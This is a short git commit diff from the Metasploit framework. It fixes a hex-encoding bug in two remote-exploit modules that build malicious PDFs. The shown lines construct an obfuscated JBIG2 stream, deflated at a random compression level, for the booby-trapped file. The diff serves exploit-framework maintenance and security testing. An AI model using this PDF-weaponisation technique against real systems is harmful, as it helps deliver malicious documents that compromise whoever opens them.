Fix unpack("H*") vs unpack("H*")[0]

git-svn-id: file:///home/svn/framework3/trunk@8416 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-02-08 21:37:07 +00:00
parent 885e396c4d
commit ba34abc232
2 changed files with 2 additions and 2 deletions

View File

@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol

View File

@ -207,7 +207,7 @@ class Metasploit3 < Msf::Exploit::Remote
pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol
xref << pdf.length
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression
pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol